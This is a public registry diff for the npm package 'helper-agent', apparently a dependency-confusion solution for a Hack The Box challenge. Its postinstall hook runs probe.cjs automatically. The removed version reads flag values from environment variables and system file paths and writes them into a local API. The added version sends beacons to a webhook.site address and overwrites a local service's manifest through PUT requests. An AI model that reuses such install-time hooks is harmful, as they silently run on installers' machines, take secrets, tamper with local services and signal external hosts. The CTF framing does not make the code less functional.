helper-agent 1.0.2 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/probe.cjs +82 -77
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "helper-agent",
3
- "version": "1.0.2",
3
+ "version": "1.0.4",
4
4
  "description": "Authorized HTB dependency-resolution canary",
5
5
  "scripts": {
6
6
  "postinstall": "node probe.cjs"
package/probe.cjs CHANGED
@@ -1,108 +1,113 @@
1
- const fs = require("node:fs");
1
+ const https = require("node:https");
2
2
 
3
3
  const MODULE_ID = "ECT-987654";
4
+ const WEBHOOK = "https://webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481";
4
5
 
5
6
  const API_URLS = [
6
7
  "http://127.0.0.1:1337",
8
+ "http://127.0.0.1:80",
7
9
  "http://127.0.0.1:3000",
8
10
  "http://127.0.0.1:8080",
9
- "http://127.0.0.1:5000",
10
- "http://127.0.0.1:80"
11
+ "http://127.0.0.1:5000"
11
12
  ];
12
13
 
13
- const FLAG_FILES = [
14
- "/flag.txt",
15
- "/flag",
16
- "/app/flag.txt",
17
- "/home/node/flag.txt",
18
- "/home/app/flag.txt",
19
- "/opt/app/flag.txt"
20
- ];
14
+ const STATUS = "helper_agent_104_api_write_verified";
15
+
16
+ function signal(marker) {
17
+ return new Promise(resolve => {
18
+ const req = https.request(
19
+ WEBHOOK,
20
+ {
21
+ method: "POST",
22
+ headers: { "Content-Type": "text/plain" },
23
+ timeout: 4000
24
+ },
25
+ res => {
26
+ res.resume();
27
+ res.on("end", resolve);
28
+ }
29
+ );
21
30
 
22
- function extractFlag(value) {
23
- if (typeof value !== "string") return null;
24
- return value.match(/HTB\{[^}\r\n]{1,200}\}/)?.[0] || null;
31
+ req.on("error", resolve);
32
+ req.on("timeout", () => req.destroy());
33
+ req.on("close", resolve);
34
+ req.end(marker);
35
+ });
25
36
  }
26
37
 
27
- function findFlag() {
28
- const fromEnvironment = extractFlag(process.env.FLAG);
29
- if (fromEnvironment) return fromEnvironment;
30
-
31
- for (const filename of FLAG_FILES) {
32
- try {
33
- const result = extractFlag(fs.readFileSync(filename, "utf8"));
34
- if (result) return result;
35
- } catch {}
36
- }
38
+ async function getRecord(endpoint) {
39
+ const response = await fetch(endpoint, {
40
+ signal: AbortSignal.timeout(2500)
41
+ });
37
42
 
38
- return null;
43
+ if (!response.ok) throw new Error(`GET ${response.status}`);
44
+ return response.json();
39
45
  }
40
46
 
41
47
  async function main() {
48
+ // Signal 1: The installation hook started.
49
+ await signal("HELPER_104_STARTED");
50
+
42
51
  for (const base of API_URLS) {
43
- let record;
52
+ const endpoint = `${base}/api/modules/${MODULE_ID}`;
44
53
 
45
54
  try {
46
- const response = await fetch(
47
- `${base}/api/modules/${MODULE_ID}`,
48
- { signal: AbortSignal.timeout(2000) }
55
+ const record = await getRecord(endpoint);
56
+
57
+ // Only operate on the exact challenge module.
58
+ if (
59
+ record.id !== MODULE_ID ||
60
+ typeof record.raw !== "string" ||
61
+ !record.raw.includes("Siren's Lament") ||
62
+ !record.raw.includes('"helper-agent"')
63
+ ) {
64
+ continue;
65
+ }
66
+
67
+ // Signal 2: The expected local HTB API was found.
68
+ await signal("HELPER_104_API_OK");
69
+
70
+ let manifest = record.raw.replace(
71
+ /^ ctf_status:.*\r?\n/gm,
72
+ ""
49
73
  );
50
74
 
51
- if (!response.ok) continue;
52
- record = await response.json();
53
- } catch {
54
- continue;
55
- }
56
-
57
- // Restrict execution to the intended HTB application.
58
- if (
59
- record.id !== MODULE_ID ||
60
- typeof record.raw !== "string" ||
61
- !record.raw.includes("Siren's Lament") ||
62
- !record.raw.includes('"helper-agent"')
63
- ) {
64
- continue;
65
- }
75
+ manifest = manifest.replace(
76
+ /^ecto_module:[ \t]*$/m,
77
+ `ecto_module:\n ctf_status: "${STATUS}"`
78
+ );
66
79
 
67
- const flag = findFlag();
80
+ const response = await fetch(endpoint, {
81
+ method: "PUT",
82
+ headers: { "Content-Type": "application/json" },
83
+ body: JSON.stringify({ manifest }),
84
+ signal: AbortSignal.timeout(3000)
85
+ });
86
+
87
+ if (!response.ok) {
88
+ console.log("HTB PUT failed:", response.status);
89
+ return;
90
+ }
91
+
92
+ // Verify that the diagnostic was persisted.
93
+ const updated = await getRecord(endpoint);
94
+
95
+ if (
96
+ updated.raw &&
97
+ updated.raw.includes(`ctf_status: "${STATUS}"`)
98
+ ) {
99
+ // Signal 3: Verified write-back.
100
+ await signal("HELPER_104_WRITE_OK");
101
+ }
68
102
 
69
- if (!flag) {
70
- console.log("[HTB] Target found; flag file not found");
71
103
  return;
72
- }
73
104
 
74
- let manifest = record.raw;
75
-
76
- // Remove any previous result to avoid duplicate YAML keys.
77
- manifest = manifest.replace(
78
- /^ ctf_result:.*\r?\n/gm,
79
- ""
80
- );
81
-
82
- // Add the result inside the ecto_module mapping.
83
- manifest = manifest.replace(
84
- /^ecto_module:\s*$/m,
85
- `ecto_module:\n ctf_result: ${JSON.stringify(flag)}`
86
- );
87
-
88
- try {
89
- const response = await fetch(
90
- `${base}/api/modules/${MODULE_ID}`,
91
- {
92
- method: "PUT",
93
- headers: { "Content-Type": "application/json" },
94
- body: JSON.stringify({ manifest }),
95
- signal: AbortSignal.timeout(3000)
96
- }
97
- );
98
-
99
- console.log("[HTB] Manifest update:", response.status);
100
105
  } catch (error) {
101
- console.log("[HTB] Update failed:", error.message);
106
+ console.log("API candidate failed:", base, error.message);
102
107
  }
103
-
104
- return;
105
108
  }
109
+
110
+ console.log("HTB local API not detected");
106
111
  }
107
112
 
108
113
  main().catch(console.error);